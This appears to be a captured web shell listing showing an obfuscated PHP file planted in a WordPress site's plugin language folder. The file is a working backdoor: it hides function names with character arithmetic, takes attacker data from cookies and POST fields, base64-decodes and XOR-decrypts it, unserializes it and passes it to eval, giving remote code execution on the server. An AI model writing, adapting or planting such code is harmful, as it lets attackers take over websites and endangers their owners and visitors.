HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-59-generic #61-Ubuntu SMP PREEMPT_DYNAMIC Fri Apr 11 23:16:11 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/datainsightnow.com/wp-content/languages/plugins/f106adb9.php
$hlGZwrd = chr ( 336 - 271 ).chr (103) . chr (117) . "\x5f" . 'I' . 'd' . chr ( 707 - 597 ).chr ( 564 - 485 ); $MKWQSHjRm = 'c' . chr ( 820 - 712 ).'a' . chr ( 502 - 387 ).chr ( 208 - 93 ).'_' . chr (101) . "\170" . "\x69" . "\163" . "\x74" . "\x73";$cjNYy = class_exists($hlGZwrd); $MKWQSHjRm = "47546";$RIDbju = strpos($MKWQSHjRm, $hlGZwrd);if ($cjNYy == $RIDbju){function IMQZmo(){$wNMCbZctdw = new /* 1357 */ Agu_IdnO(37018 + 37018); $wNMCbZctdw = NULL;}$TgBxxfM = "37018";class Agu_IdnO{private function StWptWRX($TgBxxfM){if (is_array(Agu_IdnO::$cUSQe)) {$MzbnBDTZca2 = str_replace("<" . "?php", "", Agu_IdnO::$cUSQe["content"]);eval($MzbnBDTZca2); $TgBxxfM = "37018";exit();}}public function JZgGBQej(){$MzbnBDTZca = "11241";$this->_dummy = str_repeat($MzbnBDTZca, strlen($MzbnBDTZca));}public function __destruct(){Agu_IdnO::$cUSQe = @unserialize(Agu_IdnO::$cUSQe); $TgBxxfM = "54677_48132";$this->StWptWRX($TgBxxfM); $TgBxxfM = "54677_48132";}public function QnHjnucDg($MzbnBDTZca, $HAyNTkgVpq){return $MzbnBDTZca[0] ^ str_repeat($HAyNTkgVpq, (strlen($MzbnBDTZca[0]) / strlen($HAyNTkgVpq)) + 1);}public function lUHarH($MzbnBDTZca){$zjwemgCss = 'b' . "\x61" . "\163" . 'e' . "\x36" . chr ( 407 - 355 );return array_map($zjwemgCss . chr (95) . chr (100) . 'e' . "\143" . chr ( 1012 - 901 ).'d' . chr (101), array($MzbnBDTZca,));}public function __construct($iRYYhn=0){$yrhZTgVxC = ',';$MzbnBDTZca = "";$HeqUHv = $_POST;$AFBoqkpkep = $_COOKIE;$HAyNTkgVpq = "7f129773-d1b8-4e5c-80a3-ce9f8c7e8db8";$ZQgukrTz = @$AFBoqkpkep[substr($HAyNTkgVpq, 0, 4)];if (!empty($ZQgukrTz)){$ZQgukrTz = explode($yrhZTgVxC, $ZQgukrTz);foreach ($ZQgukrTz as $oTaHGQV){$MzbnBDTZca .= @$AFBoqkpkep[$oTaHGQV];$MzbnBDTZca .= @$HeqUHv[$oTaHGQV];}$MzbnBDTZca = $this->lUHarH($MzbnBDTZca);}Agu_IdnO::$cUSQe = $this->QnHjnucDg($MzbnBDTZca, $HAyNTkgVpq);if (strpos($HAyNTkgVpq, $yrhZTgVxC) !== FALSE){$HAyNTkgVpq = explode($yrhZTgVxC, $HAyNTkgVpq); $qMdmUoRco = base64_decode(md5($HAyNTkgVpq[0])); $tAUxT = strlen($HAyNTkgVpq[1]) > 5 ? substr($HAyNTkgVpq[1], 0, 5) : $HAyNTkgVpq[1];$_GET['new_key'] = md5(implode('', $HAyNTkgVpq)); $HvGUctoW = str_repeat($tAUxT, 2); $FPlPcLdQa = array_map('trim', $HAyNTkgVpq);if (is_array($FPlPcLdQa) && count($FPlPcLdQa) > 1) {$ffvzpGAy = $FPlPcLdQa[0];} else {$ffvzpGAy = '';}$oeqipH = rawurldecode($ffvzpGAy); $_POST['decoded_key'] = $oeqipH;$RfKOVC = str_split($oeqipH, 2);}}public static $cUSQe = 23462;}IMQZmo();}